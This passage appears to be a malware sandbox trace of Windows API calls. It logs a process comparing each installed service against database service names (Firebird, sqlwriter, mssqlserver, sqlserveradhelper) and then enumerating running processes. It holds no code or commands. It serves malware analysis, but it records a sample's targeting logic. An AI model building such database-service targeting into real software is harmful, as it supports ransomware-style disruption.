returned 1 [0169.041] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0169.041] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0169.041] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0169.041] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0169.041] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0169.042] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0169.042] lstrlenW (lpString="CryptSvc") returned 8 [0169.042] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0169.042] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0169.042] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0169.042] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0169.042] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0169.042] lstrlenW (lpString="DcomLaunch") returned 10 [0169.042] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0169.042] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0169.042] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0169.042] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0169.042] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0169.042] lstrlenW (lpString="DeviceAssociationService") returned 24 [0169.042] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0169.042] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0169.042] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0169.042] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0169.042] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0169.042] lstrlenW (lpString="Dhcp") returned 4 [0169.042] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0169.042] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0169.042] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0169.042] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0169.042] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0169.042] lstrlenW (lpString="Dnscache") returned 8 [0169.042] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0169.042] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0169.042] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0169.042] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0169.042] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0169.043] lstrlenW (lpString="DPS") returned 3 [0169.043] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0169.043] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0169.043] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0169.043] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0169.043] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0169.043] lstrlenW (lpString="DsmSvc") returned 6 [0169.043] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1 [0169.043] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1 [0169.043] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1 [0169.043] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1 [0169.043] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1 [0169.043] lstrlenW (lpString="DusmSvc") returned 7 [0169.043] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0169.043] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0169.043] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0169.043] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0169.043] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0169.043] lstrlenW (lpString="EventLog") returned 8 [0169.043] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0169.043] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0169.043] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0169.044] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0169.044] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0169.044] lstrlenW (lpString="EventSystem") returned 11 [0169.044] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0169.044] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0169.044] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0169.044] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0169.044] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0169.044] lstrlenW (lpString="FontCache") returned 9 [0169.044] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0169.044] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0169.044] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0169.044] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0169.044] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0169.044] lstrlenW (lpString="gpsvc") returned 5 [0169.044] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0169.044] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0169.044] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0169.044] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0169.044] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0169.044] lstrlenW (lpString="iphlpsvc") returned 8 [0169.044] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0169.044] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0169.044] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0169.044] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0169.044] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0169.044] lstrlenW (lpString="KeyIso") returned 6 [0169.044] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0169.044] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0169.044] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0169.044] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0169.044] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0169.044] lstrlenW (lpString="LanmanServer") returned 12 [0169.045] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0169.045] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0169.045] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0169.045] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0169.045] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0169.045] lstrlenW (lpString="LanmanWorkstation") returned 17 [0169.045] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0169.045] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0169.045] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0169.045] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0169.045] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0169.045] lstrlenW (lpString="lfsvc") returned 5 [0169.045] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0169.045] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0169.045] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0169.045] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0169.045] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0169.045] lstrlenW (lpString="lmhosts") returned 7 [0169.045] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0169.045] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0169.045] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0169.045] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0169.045] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0169.045] lstrlenW (lpString="LSM") returned 3 [0169.045] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0169.045] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0169.045] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0169.045] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0169.045] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0169.045] lstrlenW (lpString="MpsSvc") returned 6 [0169.045] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0169.045] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0169.045] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0169.046] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0169.046] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0169.046] lstrlenW (lpString="NcbService") returned 10 [0169.046] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0169.046] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0169.046] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0169.046] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0169.046] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0169.046] lstrlenW (lpString="netprofm") returned 8 [0169.046] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0169.046] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0169.046] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0169.046] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0169.046] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0169.046] lstrlenW (lpString="NgcSvc") returned 6 [0169.046] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0169.046] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0169.046] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0169.046] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0169.046] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0169.046] lstrlenW (lpString="NlaSvc") returned 6 [0169.046] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0169.046] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0169.046] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0169.046] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0169.046] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0169.046] lstrlenW (lpString="nsi") returned 3 [0169.046] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0169.046] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0169.046] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0169.046] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0169.046] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0169.046] lstrlenW (lpString="PcaSvc") returned 6 [0169.046] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0169.047] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0169.047] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0169.047] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0169.047] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0169.047] lstrlenW (lpString="PlugPlay") returned 8 [0169.047] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0169.047] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0169.047] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0169.047] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0169.047] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0169.047] lstrlenW (lpString="Power") returned 5 [0169.047] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0169.047] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0169.047] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0169.047] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0169.047] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0169.047] lstrlenW (lpString="ProfSvc") returned 7 [0169.047] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0169.047] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0169.047] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0169.047] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0169.047] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0169.047] lstrlenW (lpString="RpcEptMapper") returned 12 [0169.047] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0169.047] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0169.047] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0169.047] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0169.047] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0169.047] lstrlenW (lpString="RpcSs") returned 5 [0169.047] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0169.047] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0169.047] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0169.048] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0169.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0169.048] lstrlenW (lpString="SamSs") returned 5 [0169.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0169.048] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0169.048] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0169.048] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0169.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0169.048] lstrlenW (lpString="Schedule") returned 8 [0169.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0169.048] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0169.048] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0169.048] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0169.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0169.048] lstrlenW (lpString="SecurityHealthService") returned 21 [0169.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0169.048] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0169.048] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0169.048] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0169.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0169.048] lstrlenW (lpString="SENS") returned 4 [0169.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0169.048] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0169.048] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0169.048] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0169.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0169.048] lstrlenW (lpString="ShellHWDetection") returned 16 [0169.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0169.048] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0169.048] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0169.048] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0169.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0169.048] lstrlenW (lpString="Spooler") returned 7 [0169.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0169.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0169.049] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0169.049] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0169.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0169.049] lstrlenW (lpString="StateRepository") returned 15 [0169.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0169.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0169.049] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0169.049] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0169.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0169.049] lstrlenW (lpString="SysMain") returned 7 [0169.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0169.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0169.049] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0169.049] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0169.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0169.049] lstrlenW (lpString="SystemEventsBroker") returned 18 [0169.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0169.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0169.049] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0169.049] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0169.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0169.049] lstrlenW (lpString="Themes") returned 6 [0169.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0169.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0169.049] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0169.049] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0169.049] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4582fb0 | out: hHeap=0x710000) returned 1 [0169.050] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x530 [0169.055] Process32FirstW (in: hSnapshot=0x530, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0169.056] Process32NextW (in: hSnapshot=0x530, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0169.056] lstrlenW (lpString="System") returned 6 [0169.056] Process32NextW (in: hSnapshot=0x530, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0169.057] lstrlenW (lpString="smss.exe") returned 8 [0169.057] Process32NextW (in: hSnapshot=0x530, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0169.058] lstrlenW (lpString="csrss.exe") returned 9 [0169.058] Process32NextW (in: hSnapshot=0x530, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0169.059] lstrlenW (lpString="wininit.exe") returned 11 [0169.059] Process32NextW (in: hSnapshot=0x530, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0169.130] lstrlenW (lpString="csrss.exe") returned 9 [0169.130] Process32NextW (in: hSnapshot=0x530, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x22c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0169.131] lstrlenW (lpString="winlogon.exe") returned 12 [0169.131] Process32NextW (in: hSnapshot=0x530, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0169.132] lstrlenW (lpString="services.exe") returned 12 [0169.132] Process32NextW (in: hSnapshot=0x530, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0169.132] lstrlenW (lpString="lsass.exe") returned 9 [0169.132] Process32NextW (in: hSnapshot=0x530, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x22c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0169.133] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0169.133] Process32NextW (in: hSnapshot=0x530, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0169.134] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0169.134] Process32NextW (in: hSnapshot=0x530, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.135] lstrlenW (lpString="svchost.exe") returned 11 [0169.135] Process32NextW (in: hSnapshot=0x530, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.136] lstrlenW (lpString="svchost.exe") returned 11 [0169.136] Process32NextW (in: hSnapshot=0x530, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x22c, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0169.138] lstrlenW (lpString="dwm.exe") returned 7 [0169.138] Process32NextW (in: hSnapshot=0x530, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3e, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.139] lstrlenW (lpString="svchost.exe") returned 11 [0169.139] Process32NextW (in: hSnapshot=0x530, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.140] lstrlenW (lpString="svchost.exe") returned 11 [0169.140] Process32NextW (in: hSnapshot=0x530, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.141] lstrlenW (lpString="svchost.exe") returned 11 [0169.141] Process32NextW (in: hSnapshot=0x530, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.142] lstrlenW (lpString="svchost.exe") returned 11 [0169.142] 